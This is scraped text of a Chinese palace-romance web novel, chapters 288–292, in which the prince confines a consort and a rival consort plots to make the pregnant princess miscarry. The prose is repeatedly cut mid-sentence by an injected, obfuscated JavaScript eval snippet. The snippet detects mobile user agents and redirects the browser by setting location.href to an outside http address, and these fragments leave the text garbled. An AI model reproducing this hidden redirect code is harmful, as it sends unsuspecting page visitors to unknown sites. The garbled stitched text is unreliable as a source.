d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173986|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知不觉便陷入了沉睡。 她梦见一个玉雪可爱的小孩子,迈着蹒跚的步子,朝她摇摇晃晃地走来,嘴里咿咿呀呀地喊着“娘”。 她心头一软,伸出手正欲将那孩子拥入怀中,却见一道高大的身影骤然出现在眼前。 是萧凌川! 他大步走来,面色阴沉如水,一把将那孩子抱起,低头冷冷地注视着她,声音低沉而危险:“本王的孩子,你也敢带走?” 姜姝宁猛地从梦中惊醒,额头上满是冷汗,心脏剧烈跳动,仿佛要从胸腔中蹦出。 一旁的凌芜见状,急忙凑上前来,柔声问道:“王妃,您怎么了?可是做了噩梦?” 或许是那梦境太过真实,又或许是心底积压的情绪再也无法压抑,姜姝宁眼眶泛红,泪光在眼底打转。 她定定地盯着凌芜,声音低沉而沙哑,带着一丝难以言喻的痛楚:“王爷到底许了你什么好处?你为何要背叛我?” 凌芜闻言,神色一僵,犹豫了片刻,最终低下头,声音中带着几分愧疚:“王妃,奴婢……其实一直都是王爷的人。当初,也是王爷得知您遭受姨娘暗算,这才安排奴婢在您身边,暗中保护您的安危。” “什么?你一直……”姜姝宁瞳孔猛地一缩,震惊得几乎说不出话来。 她原本以为凌芜是进了景王府后才被萧凌川收买的,却不料,他竟早早就在她身边埋下了棋子。 她喉咙一哽,嘴角扯出一抹苦涩至极的笑意:“他总称赞我聪明,我还以为自己果真有些小聪明。如今想来,他分明是在嘲笑我的愚蠢吧?早早在我身边安插人手,对我的一举一动了如指掌,他定然得意得很,不费吹灰之力便将我**于股掌之中!” 凌芜见她这副自嘲又悲戚的模样,心中一阵酸涩,忍不住道:“王妃,您别这样想……王爷只是太在意您了。” “在意?”姜姝宁冷笑一声,眼中满是嘲讽与痛楚,“那不是在意,那是想要将一切都掌控在手中的掌控欲!” 就像前世,他不愿有任何软肋,便故意冷落她,甚至逼她服用避子药,从未问过她的感受、是否愿意。 今生一早就在她身边安插人,也是为了满足自己的掌控欲。 什么在意,不过是他一厢情愿的自以为是! 她深吸一口气,强压下心头的波澜,目光直直地逼视着凌芜,声音中透着一丝不甘:“此次行事我已十分隐蔽,为何还是会被你发现?” 凌芜摇了摇头:“并非奴婢发现王妃要走的,是赵侧妃偷听了您与崔侧妃的计划,随后禀告了王爷!” “是她?”姜姝宁眉心一紧,就在这时,门外传来小翠撕心裂肺的哭喊声:“王妃,求求您救救崔侧妃,求求您……” 姜姝宁心头一震,忙收敛情绪,沉声道:“凌芜,让她进来!” 凌芜无奈,只能开了门。 小翠跌跌撞撞地冲了进来,双膝一软便跪在姜姝宁面前:“王妃,崔侧妃被王爷关进了府中地牢,求您救救她吧!” 第288章 你亲本王一口 第二百八十八章你亲本王一口 崔芝兰是为了她才落得如此下场,她不能坐视不理。 她掀开被子就要下床,凌芜连忙上前扶住她。 “王妃,孙神医说您现在要多休息,以免动了胎气。有什么事,您吩咐奴婢去做就行了。” “我要去见王爷。”姜姝宁推开她的手,声音不大,却透着一股不容置喙的坚决。凌芜见劝不住,脸上写满了为难,最终只能亦步亦趋地跟在她身后,满心都是忐忑。 书房的门紧闭着,里面隐约透出萧凌川低沉的说话声。 姜姝宁一把推开了门。 屋内的交谈声戛然而止。 萧凌川坐在案后,正与凌风商议着什么,见她闯进来,步履还那般急切,眉头瞬间拧成了一个川字。 “刚怀上身孕,谁准你下床的?还走这么快!”他的声音带着压抑的怒火,目光却像刀子一样刮向她身后的凌芜,“你是怎么照顾王妃的?” “奴婢知错。”凌风立刻躬身行礼,悄无声息地退了出去,顺手带上了门。 姜姝宁仿佛没听见他的斥责,径直走到书案前,死死盯着他,一字一句地问:“王爷为何要把崔侧妃关进地牢?她好歹是崔尚书的嫡女,是门阀贵女,王爷这般折辱她,难道就不怕崔家心生不满吗?” 萧凌川轻笑一声,靠在椅背上,挑了挑眉,姿态慵懒又傲慢:“她胆敢挑唆本王的王妃跟她的表哥宁王私奔,本王没有直接要了她的命,已经是看在崔家的面子上了。怎么,本王连教训一个妾室的权力都没有了?” “她没有!”姜姝宁声音陡然拔高,“崔侧妃从来没有教唆过我!一切都是我自己的主意!宁王殿下也只是带我离开而已,并非私奔!王爷若是有气,大可冲着我来!” 萧凌川脸上的笑意瞬间敛去,取而代之的是一片阴沉。 他站起身,高大的身影投下一片压迫感十足的阴影,将她完全笼罩。 “这就是你求人的态度?”他的声音冷得像冰。 姜姝宁心中一阵刺痛。 她差点忘了,眼前这个男人最擅长揪住人的软肋,逼人屈服。 她眼中的倔强与怒火渐渐熄灭,化作一片死灰般的绝望。 她绕过书案,在离他三步远的地方,双膝一软,直直跪下。 “求王爷开恩,将崔侧妃放了吧。崔侧妃……是受了妾身的蛊惑,不得已才帮妾身的。所有的一切,都是妾身一个人的错。” 她垂下头,姿势低到尘埃里,就连自称都换了。 萧凌川看着她卑微跪地的模样,胸中的怒火非但没有平息,反而烧得更旺了。 “为了她,你竟甘愿如此卑微?”他怒极反笑,俯身一把攥住她的手腕,强行将她从地上拽起来,“姜姝宁,你果然到现在还在乎萧怀瑾!” 姜姝宁被他扯得一个趔趄,手腕被捏得生疼。 “妾身不过是不希望再牵连任何无辜之人。王爷放心,如今妾身已经是你的笼中鸟,插翅难飞,不可能再离开了。还请王爷……看在崔家多年来为朝廷充盈国库的份上,不要为难崔侧妃!” “无辜?”萧凌川冷嗤一声,捏着她手腕的力道又加重了几分,“赵侧妃亲耳听见,崔芝兰怂恿你和萧怀瑾私奔!你现在跟本王说她无辜?” “王爷为何只信赵侧妃的一面之词,却不肯信妾身一句?” 萧凌川逼近她,灼热的呼吸喷洒在她脸上,眼神锐利得仿佛要将她整个人都看穿:“因为你这张嘴里,没一句是真的!” 她浑身一僵,所有想说的话都堵在了喉咙里,一个字也吐不出来。 书房里死一般的寂静。 良久,姜姝宁才找回自己的声音,她避开他逼人的视线,低声道:“既然王爷不信妾身的话,那不如……不如将崔侧妃送回崔家,如何?她不在景王府,便再也没有机会‘怂恿’妾身离开。如此,王爷总该放心了吧?” 这已经是她能想到的,能帮崔芝兰摆脱桎梏的最好法子了。 萧凌川定定地看着她,那双深不见底的黑眸里,情绪翻涌,晦涩难辨,像是浓得化不开的墨。 许久,他才缓缓开口,声音低沉而沙哑,带着一丝探究的意味。 “她对你而言,就如此重要?” 姜姝宁心头微紧,一时猜不透他的真实意图。 她垂眸思忖片刻,斟酌着字句,小心翼翼地回应:“王爷多虑了,妾身只是不愿再欠旁人情分罢了。” 萧凌川闻言,目光微沉,嘴角扯出一抹意味不明的冷笑:“既然她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173987|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对你而言无关紧要,那本王如何处置她,你也无需多管!” 姜姝宁心下一惊,意识到他这话中的试探,忙改口恳求道:“王爷,崔侧妃……对妾身很重要!妾身与她相谈甚欢,自夏嫣之后,从未有人如她这般适合做妾身的闺中密友!还请王爷看在她是妾身友人的份上,饶她这一次吧!” 萧凌川神色晦暗不明,眸光深邃如渊,似笑非笑地注视着她:“既然她对你如此重要,那本王更不能让她离开了。就让她继续留在府中,陪着你吧!” 姜姝宁一怔,随即反应过来自己被他算计,胸口涌起一股怒火,忍不住咬牙道:“王爷,您……” 不等她说完,萧凌川便自顾自地转头,语气冷硬地吩咐道:“来人,将崔侧妃送回房中,从即日起禁足,餐食减半。王妃若要探望,需得本王允许!” 一旁的凌风低头应道:“是,王爷!” 随即转身离开,执行命令。 姜姝宁紧咬下唇,强压着心头的愤怒,恨恨道:“王爷果然心思深沉!” “彼此彼此。”萧凌川神色慵懒,斜靠在椅背上,目光中带着几分戏谑,“王妃也不差,满口谎言,本王就没听到一句真话!” 姜姝宁语塞,虽心头怒意翻涌,但转念一想,好歹崔侧妃从地牢中被放了出来,暂且离不开景王府也只能忍耐。 她深吸一口气,平复情绪,低声请求道:“王爷,妾身可否去见见崔侧妃?” 萧凌川挑了挑眉,唇角微扬,似笑非笑地反问:“你说什么?本王没听清!” “妾身想去见崔侧妃……”她话音未落,便被萧凌川猛地一拉,整个人跌入他怀中,猝不及防地贴近他的胸膛。 他俯身靠近,将耳朵凑到她唇边,声音低哑而暧昧:“再说一次,你想做什么?” 姜姝宁心头怒火中烧,恨不得一口咬下他的耳朵。 但若真这样做了,她怕是再也没机会见到崔芝兰。 她强压下满腔怒意,咬紧牙关凑近他耳畔,温热的气息拂过他的耳侧,声音低而隐忍:“妾身……求王爷允准妾身去见崔侧妃。” 萧凌川对她这副勉为其难的温顺模样颇为受用,眸光微暗,眼睑半阖,声线暧昧而低沉:“你亲本王一口,本王便答应你。” 第289章 这下,王爷满意了吧? 第二百八十九章这下,王爷满意了吧? 姜姝宁怒火中烧,却不得不强压下情绪,勉为其难地凑近,轻轻在他脸颊上亲了一下,随即红着脸,羞恼地怒道:“这样总可以了吧?” 萧凌川却扣住她的后脑勺,目光旖(旎),嘴角勾起一抹戏谑的笑意:“当然不行。既然要亲,便要亲嘴,亲脸如何算数?” “你……”姜姝宁气得浑身轻颤,眼中满是**与愤怒。 她心系崔芝兰的安危,却不得不在这与眼前这个面容俊美却心思毒辣的男人纠缠不休。 “怎么了?”萧凌川目光慵懒地在她脸上逡巡,语气中带着几分调笑,“连本王的孩子都怀上了,亲个嘴还会害羞不成?” 姜姝宁面红耳赤,耳根烫得仿佛要滴血,心中暗骂他无耻至极。 她气恼难平,索性心一横,猛地凑上前去,却因用力过猛,嘴唇狠狠撞上他的,顿时磕破了皮,渗出一丝血迹。 萧凌川:“……” 姜姝宁:“……这下,王爷满意了吧?” “去吧,让凌芜陪你去见崔侧妃。”萧凌川一边说着,一边漫不经心地擦拭着唇角的血迹,语气中透着几分纵容。 “谢王爷!”姜姝宁如获大赦,忙挣开他的钳制,逃也似地快步离开。 她朝藏锦阁的方向走去,凌芜默默跟在身后。 迎面而来的凌风见了她,恭敬地行礼:“见过王妃。” 姜姝宁心头忽地闪过一个念头,转头看向凌芜,试探着问:“你与凌风可是兄妹?” “不是!”凌芜还未开口,凌风便抢先答道,语气急切,“属下与凌芜毫无血缘关系!” 姜姝宁点了点头,若有所思道:“我见你们都姓凌,还以为是兄妹。” 凌芜解释道:“并非如此。‘凌’是王爷取自他名字中的一字赐予我们的。我们皆是孤儿,没有姓氏。” “原来如此。”姜姝宁微微颔首,又问,“你们是几岁开始在王爷身边做事的?” 前世,萧凌川身边并无凌风与凌芜的身影。 甚至可以说,除了七王爷萧琪钰,他身边连一个可信之人也没有,许多事都只能独自承担。 凌风恭敬回道:“回王妃,属下五岁便被王爷收养了。” “五岁?”姜姝宁一怔,眼中闪过一丝惊讶,“这怎么可能?” 凌风虽比萧凌川年轻,但也已至弱冠之年。 若他五岁便被收养,那萧凌川当时也不过是个不到十岁的孩童,如何能做到? 凌芜见她疑惑,补充道:“千真万确!当时王爷尚且年幼,他在路边见我们行乞,便将我们收留,还教我们武艺。若非王爷相救,我们早就饿**。” 姜姝宁闻言,心中陡然升起一个惊人的猜测——难道,萧凌川重生的时间远比她早得多,甚至是在他尚为幼童之时? 她之前一直以为萧凌川只是比她提前重生,却从未想过会提前那么多。 若真是自幼重生,那他在冷宫中经历的那些痛苦,岂不是要再承受一次? 想到此处,她心口莫名一紧,一阵难以言喻的酸涩涌上心头。 前世,她最痛苦的,不过是嫁给萧凌川后那十年深宅孤寂的日子。 而对萧凌川而言,最不堪回首的,怕是身为皇子时那日复一日的煎熬与**吧? 姜姝宁踏入崔芝兰所在的屋中,一眼便看见躺在床榻上、脸色惨白如纸的崔芝兰,她双目紧闭,已然昏厥过去。 小翠在一旁小心翼翼地帮她上药,泪水涟涟,哽咽道:“我家小姐虽是不受宠的嫡女,可自小也没吃过什么苦头,哪里受过这般折磨?王爷根本不把她当贵女看待,竟对她动了刑,可怜小姐身子这般娇弱,如何承受得住?” 听到这话,姜姝宁心中对萧凌川那一丝短暂的同情瞬间荡然无存。 对一个手无缚鸡之力的娇弱女子下此毒手,他果然心狠手辣,歹毒至极! 她连忙柔声安抚小翠:“别难过了,我略通医术,让我为崔侧妃把把脉,再施几针,定会尽力让她尽快好起来。” 小翠感激涕零,忙向她叩头:“多谢王妃!” 姜姝宁坐到床边,轻轻搭上崔芝兰的手腕为她把脉,幸而发现她身上多是皮外伤,并未伤及筋骨,稍稍松了口气。 她取出银针,熟练地为崔芝兰施针,不过片刻,崔芝兰便悠悠转醒,苍白的脸上多了一丝血色。 一睁眼看见姜姝宁,崔芝兰嘴唇微动,声音虚弱得几乎听不见:“姜姑娘……” “别说话,你身上还有伤,需得好好歇息。”姜姝宁轻声叮嘱道。 可崔芝兰却神色紧张,挣扎着想要起身,急切问道:“姜姑娘,你被王爷带回来了,那……表哥他呢?” “他并无性命之忧,只是……”她顿了顿,似有些难以启齿,“受了些折辱。” 崔芝兰闻言,松了一口气,脸色依旧苍白如雪,喃喃道:“他没事就好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜姝宁闻言,冷笑一声,目光如刀般锋利,直直刺向赵若晚:“你以为谁都像你一般,满脑子只想着如何讨王爷欢心,除了争宠,便再无其他可做之事?” 赵若晚脸色微变,却依旧笑得张扬。 她抚(弄)着头上的金簪,阴阳怪气道:“王妃说得是,妾身可不像您,即便杀了人又与外男私奔,王爷仍旧对您宠爱有加。不过嘛,王爷毕竟是男人,现下或许能忍耐您的背叛,可日子一长,难保不会厌倦。王妃还是别仗着王爷如今的宠爱,便肆意妄为的好!” 她说着,故意晃了晃头上的金簪,得意地炫耀,“说起来,妾身还得谢过王妃。若非您与宁王私奔,妾身怎有机会向王爷投诚?您瞧,这发簪便是王爷赏赐的,可好看……” 她话音未落,姜姝宁再也按捺不住心中怒火,猛地扬起手,“啪”的一声,清脆的巴掌声在长廊中回荡,狠狠扇在了赵若晚的脸上。 第290章 亲手做的簪子 第二百九十章亲手做的簪子 赵若晚捂着火辣辣的脸,难以置信地瞪着姜姝宁。 长廊里的风仿佛都静止了,只剩下她耳中嗡嗡的鸣响。 她尖叫起来:“你凭什么打我?你——” “就凭你刚才还知道称我一声‘王妃’。”姜姝宁打断她,声音冷得像初冬的冰棱,一字一句敲在赵若晚的心上,“既然我是王妃,处置一个出言不逊的侧妃,合情合理。” “赵侧妃以下犯上,言语不敬,目无尊卑。来人。” 凌芜和凌风垂首躬身,动作利落干脆。 “把她带回屋里,禁足一个月。期间饮食减半,不许任何人探望。若让她踏出房门半步,看院子的人,一并受罚。” “是,王妃!”凌芜和凌风沉声应下。 赵若晚彻底疯了,她挣扎着,头上的金簪玉钗叮当作响,散落一地,狼狈不堪。 “你敢!王爷不会放过你的!” 她的嘶吼尖利刺耳,但凌芜和凌风的手臂像铁钳一样,牢牢架住她,任凭她如何蹬踹,都只是徒劳。 她那身精心打扮的花枝招展,此刻看起来像个笑话。 姜姝宁冷眼看着她被拖走,直到那叫骂声消失在长廊尽头。 她这才缓缓俯身,捡起地上那支被赵若晚炫耀过的金簪。 簪子闪着刺目的光,就和它的主人一样,浅薄又招摇。 她随手一抛,金簪在空中划过一道弧线,“当啷”一声,掉进了廊外的草丛里,再也看不见。 一股压抑许久的郁气,终于从胸口散去。 总算帮崔芝兰出了口气。 赵若晚被人粗鲁地扔进屋里,门“砰”的一声被从外面锁上。 “啊——!”她抓起桌上的茶盏,狠狠砸在地上,瓷器碎裂的声音尖锐刺耳。 她身边的贴身嬷嬷和婢女吓得跪在地上,大气不敢出。 “王妃?她也配!”赵若晚气得浑身发抖,“叫她一声王妃是给她脸了!一个**逃犯,有什么资格当景王妃?还敢禁我的足?她简直是蹬鼻子上脸!” 李嬷嬷连忙爬过来,压低声音劝道:“我的好侧妃,您小声些!当心隔墙有耳啊!如今王爷的心尖尖上都是她,这景王府说到底,是王爷的地盘。咱们……咱们暂且忍一时之气,做低伏小,不吃眼前亏啊!” “凭什么!”赵若晚一把推开她,“我才是王爷明媒正娶、记入皇家玉牒的侧妃!那姜姝宁算个什么东西?她凭什么仗着王爷的宠爱,就能如此为所欲为!王爷到底是中了什么邪,她都跟宁王私奔了,王爷竟然还能让她完好无损地回来!” 崔芝兰都进了王府的地牢受了刑,而萧凌川对姜姝宁却连丝毫责罚也无,简直让人难以置信! 李嬷嬷眉头紧蹙:“侧妃,这事儿……实在奇怪。依老奴看,王爷的性子,绝不是能容忍枕边人红杏出墙的主儿。这姜家嫡女,私奔是板上钉钉的事,可她偏偏能毫发无损地回来,这其中,必有缘故。难不成……” 赵若晚猛地回头盯住她:“难不成什么?快说!” 李嬷嬷斟酌了片刻,才小声道:“老奴斗胆猜一猜……这姜家嫡女,怕是……怀有身孕了。” “什么?”赵若晚的瞳孔骤然收缩。 “男子,尤其是王爷这样的天潢贵胄,最是看重子嗣。”李嬷嬷分析道,“若她肚子里有了王爷的骨肉,那便是王府的第一个孩子。看在孩子的份上,王爷暂且原谅她那些不妥当的行为,也就说得通了。” “身孕……”赵若晚喃喃自语,这两个字像两座大山,瞬间压得她喘不过气来。 是了,一定是这样。 否则无法解释萧凌川反常的态度。 她脸上的愤怒渐渐褪去,取而代之的是一种淬了毒的阴冷。 一个挂名的王妃就能如此嚣张,若真让她生下王爷的第一个孩子,那还是嫡长子…… 到那时,这王府里,哪里还有她赵若晚的立足之地? 她的家族,又如何能指望她? 不行。 这个孩子,绝对不能留! 赵若晚眼中杀意毕现,她一把抓住李嬷嬷和另一个婢女的手,指甲几乎要掐进她们的皮肉里。 “你们两个,立刻想办法买通主院伺候的下人,花多少银子都行。”她的声音阴沉得可怕,“给我仔仔细细地打听清楚,姜姝宁是不是真的怀上了!” 她顿了顿,一字一句,像是从牙缝里挤出来的。 “若真怀上了……想尽一切办法,让这个孩子,无声无息地消失掉!” 李嬷嬷和婢女对视一眼,立刻低下头,齐声应道:“是,侧妃!” —— 书房内,萧凌川听完凌风禀报姜姝宁对赵若晚的处罚,眉梢微微一挑,眼中闪过一抹意味深长的神色。 “王妃为何要处罚赵侧妃,你可知晓内情?”他声音低沉,带着几分探究。 凌风恭敬地低头,认真回道:“王妃称是赵侧妃出言不逊。属下私下揣测,应该是赵侧妃在王妃面前炫耀您赏赐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190556|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金簪,惹恼了王妃!” 闻言,萧凌川唇角微微上扬,勾起一抹浅而轻快的笑意,似是颇为受用。 想来,王妃这是吃醋了? 赵若晚那些簪子不过是他随手赏下的物件,毫无深意。 既然王妃在意,那他便也送些更好的给她,以示心意。 “传令下去,即刻前往银楼,采买当下最时兴的金簪,送到王妃手中!” “是,王爷!”凌风正欲退下执行命令,却又被萧凌川唤住。 “等等,”萧凌川似是想到了什么,眼中闪过一丝罕见的柔情,低声道,“罢了,不必采买现成的簪子,去准备些上好的材料来。这簪子,本王要亲手打造!” 还能有什么比他亲手打造的簪子更能彰显真心呢? 这一回,王妃总该感受到他的诚意了吧? 然而,打造金簪子远比萧凌川想象中困难得多。 锻造时必须精确掌控火候,以确保金料的延展性——火候稍过,金料便脆而易断;火候不足,则软而不成形。 至于簪子上那些精致的纹饰,更是难上加难,稍有不慎便前功尽弃。 这远非木簪子可比,木簪只需雕刻技艺精湛即可,而金簪的每一道工序都考验着耐心与手法。 他原本想打造一支牡丹样式的金簪,寓意富贵与深情,可无论如何尝试,做出的成品总是歪扭不堪,毫无美感可言。 几日下来,金条耗费了好几根,他却仍未能打造出一支拿得出手的簪子。 萧凌川平生第一次感受到如此强烈的挫败感,眉宇间满是懊恼。 凌风在一旁见状,忙出言宽慰:“王爷,打造簪子的师傅往往需苦练十余载,您不过几日便能做到这般地步,已是难能可贵!王妃若知晓您为她亲手做簪,费尽心思,定会感动不已!” “此话当真?” “自然是真的!”凌风信誓旦旦,语气中满是钦佩,“放眼大邺京城,哪个男子能如王爷这般珍视夫人,竟不惜亲手打造金簪?王妃若是得知这簪子出自您手,定会感动得无以复加!” 萧凌川听信了凌风的话,便从自己打造的几支金簪中精心挑选了一根自认为最为精致的,放入一个雕花锦盒之中,亲自带往寝殿,送予姜姝宁。 姜姝宁接过锦盒,缓缓打开,只见里面静静躺着一根金光闪闪的物件,模样却有些怪异。 她微微一愣,忍不住问:“王爷,这根小棍子是何意?” 此言一出,萧凌川的脸色顿时晴转乌云。 第291章 她分明在争宠 第二百九十一章 她分明在争宠 “这不是小棍子!”萧凌川语气不善道。 “那这是何物?”姜姝宁反问道。 萧凌川深吸一口气,强压下心头的不快,转头看向一旁的凌芜,沉声道:“凌芜,你来看,这是什么?” 凌芜连忙上前,仔仔细细地打量着锦盒中的物件,随后道:“王妃,这显然不是小棍子!” 萧凌川这才微微颔首,脸上露出一丝满意的神色,目光重新转向姜姝宁,语气中带着几分揶揄:“连凌芜都能看出来,王妃怎会看不出?” “所以,这究竟是什么?”姜姝宁依旧不解,眉头轻蹙,再次追问。 “王妃,这分明是钥匙啊!”凌芜自信满满地答道,“王爷定是为您和肚子里的小世子置办了一处府邸,这必定是那府邸大门的钥匙!” 萧凌川:“……” 姜姝宁一怔,难以置信又惊喜万分地看向萧凌川:“王爷是想让我搬到外面去住?” “你想得美!”萧凌川沉下脸,声音冷硬,毫不犹豫地打断她,“这分明是一根金簪!” “金簪?!”姜姝宁与凌芜异口同声,惊讶之余,两人将那物件从锦盒中取出,翻来覆去地端详。 凌芜见萧凌川脸色不佳,忙补救道:“王爷,这金簪定有玄机,价值连城,对不对?” 萧凌川的脸色这才稍霁,淡淡道:“的确如此。这簪子,是本王亲手打造的牡丹金簪。” 姜姝宁低头,仔仔细细地审视着簪子上的纹饰,眉头越皱越紧,最终忍不住开口:“王爷,你没别的事可做了吗?” “王妃此言何意?”萧凌川脸色沉如水,声音低得仿佛能滴出寒冰。 姜姝宁察觉到他的不悦,语气稍微软化,却仍难掩揶揄:“妾身的意思是,王爷若有闲暇,不如学着做些膳食?王爷口味如此挑剔,若能亲手下厨,也能为厨子省去不少麻烦。” 萧凌川如何听不出她话中那显而易见的嫌弃之意? 他的脸色愈发阴沉,胸中怒气翻涌,最终一言不发,猛地拂袖转身离去。 待他身影消失在寝殿门外,凌芜才战战兢兢地看向姜姝宁,低声问道:“王妃,如此直接嫌弃王爷亲手做的簪子,真的合适吗?” “要不,这簪子你来戴?”姜姝宁似笑非笑,将簪子递到凌芜面前。 凌芜吓得连连摆手,惶恐道:“奴婢万万不敢!” 那可是王爷亲手做的簪子,除了王妃,谁戴谁没命! 姜姝宁收回手,漫不经心地把玩着锦盒中的物件,唇角浮起一抹嘲讽的笑意。 她怎么也想不到,萧凌川竟会亲手打造簪子送给她。 这可是前世她连做梦都不敢奢望的事。 前世的萧凌川,别说亲手做礼物了,便是她的生辰,他也未必会放在心上。 如今,他倒是亲身体会了一番,付出了真心却被轻视的滋味。 她眼底闪过一抹阴郁的光,唇边的笑意越发冰冷:萧凌川,这样你就受不了了?既然你执意将我禁锢在你身边,那就该做好被我刺伤的觉悟。 —— 萧凌川越想越是气恼,自己亲手打造的金簪子,难道就如此不堪入目吗? 他的自尊心被狠狠刺痛,胸中郁结难平。 凌风得知他精心制作的金簪子竟被姜姝宁误认为小棍子,忙小心翼翼地安慰道:“王爷,金簪子制作工艺繁复,的确不易,但做玉簪子却要简单得多。上好的玉石同样价值连城,不如王爷试着打造一支玉簪如何?” 萧凌川闻言,怒意更盛,冷哼一声,沉声道:“本王乃一家之主,堂堂王爷,何须刻意去讨好一个女子?!” 凌风见他动怒,脸色微变,赶紧低下头,不敢再多言半句。 结果萧凌川不仅连夜雕琢了一支精致的玉簪,还额外打造了一对玉佩,一只留给自己,另一只则给姜姝宁。 他不仅要她随身携带这玉佩,那玉簪也必须日日佩戴,不得有丝毫怠慢。 凌风在一旁看着,心中无言以对。 王爷啊,您真是好一个言行不一,出尔反尔啊! —— 赵若晚很快得知姜姝宁怀有身孕的消息,顿时妒火中烧。 她咬牙切齿,暗自筹谋,试图收买主院的下人,在姜姝宁的膳食中下落胎药,以除去她腹中的孩子。 然而,她费尽心思,奔波多日,却始终找不到一丝机会。 姜姝宁的吃食皆由专人负责,每一道菜品送上桌前,还需府医一一仔细查验,方可入口。 可见萧凌川对这个未出世孩子的重视。 赵若晚在屋中气得团团转,怒火难平之时,忽听门外传来一阵细碎的脚步声。 她心头一喜,忙道:“快去瞧瞧,莫不是王爷来了!” 她始终认为,萧凌川绝不会轻易放弃赵家这座靠山,只不过他城府极深,不愿对任何人轻易交付信任罢了。 李嬷嬷匆匆出门查看,片刻后返回,摇了摇头:“不是王爷,是王妃。她前往藏锦阁探望崔侧妃。” 听到这话,赵若晚眼中忽地闪过一抹狡黠的光芒,嘴角浮现出一丝阴冷的笑意。 送往主院的膳食需经过府医严查,但送往崔侧妃的吃食却无人过问,这岂不是天赐良机? “你们速速想个法子,在崔侧妃的膳食中下落胎药,说不定有朝一日王妃自己便吃到了!”她压低声音,语气中满是阴毒。 “是,侧妃!”婢女们低声应下,迅速退去安排。 与此同时,姜姝宁来到藏锦阁,探望崔芝兰。 她细心地为崔芝兰施针,又亲自喂她服下调养的药物,方才告辞离去。 两日后,姜姝宁再次前往藏锦阁,刚踏至门口,便闻到一股奇异的香气扑鼻而来。她微微蹙眉,心中升起一丝警觉,低声辨认出这是麝香的气味——此物对孕妇而言,危害极大。 她神色一冷,示意凌芜上前一探究竟。 凌芜推开门,只见院中赵若晚正悠然地坐着,一旁婢女焚着炭火,架着衣物熏香,浓郁的麝香味正是从此处散发而出。 见到门口的姜姝宁,赵若晚忙堆起一脸虚伪的笑意,殷勤地招呼道:“王妃来了?妾身近日被禁足,实在无聊得紧,便将衣物翻出熏香解闷。这麝香是妾身娘家送来的,上等货色,香气极佳,王妃可要拿些回去用用?” “不必了。”姜姝宁冷冷地打断她,目光如刀般锐利,直刺赵若晚,“这般炎热的天气,赵侧妃竟还有闲情在此熏衣,可见对麝香真是钟爱至极。凌芜,去库房将府中所有的麝香尽数取来,今日便在赵侧妃的院子里焚烧,不烧尽不许停!” 此言一出,赵若晚的脸色瞬间煞白如纸。 麝香虽可致人(流)产,但若长时间闻之,亦会导致不孕。 姜姝宁此举,分明是存心要害她! “是,王妃!”凌芜强忍住笑意,恭敬应下,转身去库房传令。 姜姝宁则唤来小翠,将随身带来的药物递给她,淡淡道:“这些给崔侧妃服下,我改日再来看她。” “多谢王妃!”小翠感激不尽,连忙叩谢。 见姜姝宁转身离去,赵若晚气得直跺脚,面色扭曲,满腔怒火无处宣泄,心中暗骂:可恶!本想害她,却反被她摆了一道! 麝香在赵若晚的院子里足足焚烧了近两个时辰,浓烈的香气弥漫不散,她被熏得头晕目眩,恶心欲吐,头痛欲裂,几近崩溃。 为此,她不顾院中侍卫的阻拦,哭喊着非要面见萧凌川,声泪俱下地诉说委屈。 闹腾得实在厉害,侍卫们无可奈何,凌风只得硬着头皮禀告萧凌川:“王爷,赵侧妃说,王妃故意命人在她院中焚烧麝香,分明是想害她今后无法生育,恳请王爷为她做主!” 萧凌川原本正因送了玉簪和玉佩给姜姝宁,却只换来她不冷不热的反应而心中郁闷,此刻听到凌风禀报,精神顿时为之一振。 王妃如此行事,莫不是担心别的女子怀上他的子嗣? 这分明是在争宠,果然,她还是在意他的! 想到此处,萧凌川唇角微扬,心情竟莫名好了几分。 他对凌风淡淡道:“去告诉赵侧妃,让她安心便是。告诉她,无论她闻不闻麝香,本王都不会让她有怀上子嗣的机会!” 凌风:“……” 王爷,您是懂得如何补刀的! 第292章 想看她吃醋的模样 第二百九十二章 想看她吃醋的模样 虽说心里对赵若晚的死活丝毫不在意,但萧凌川却格外想瞧瞧姜姝宁吃醋时的模样。 一想到她那清冷疏离的面容上浮现出些许妒意,便觉有趣得很。 于是,在凌风禀告此事后不久,他便特意回到寝殿,亲自向姜姝宁问及此事。 “听说王妃命人在赵侧妃院中焚烧麝香,足足烧了两个时辰,竟将本王库房中上好的麝香尽数耗尽。” 他的语气平淡中带着几分试探,目光却紧紧锁在姜姝宁脸上,不肯错过她一丝一毫的神情变化。 姜姝宁正低头翻阅书卷,闻言仅是微微抬眸,目光冷清如水,语气中不带半分波澜:“王爷是专程来为赵侧妃打抱不平的?” 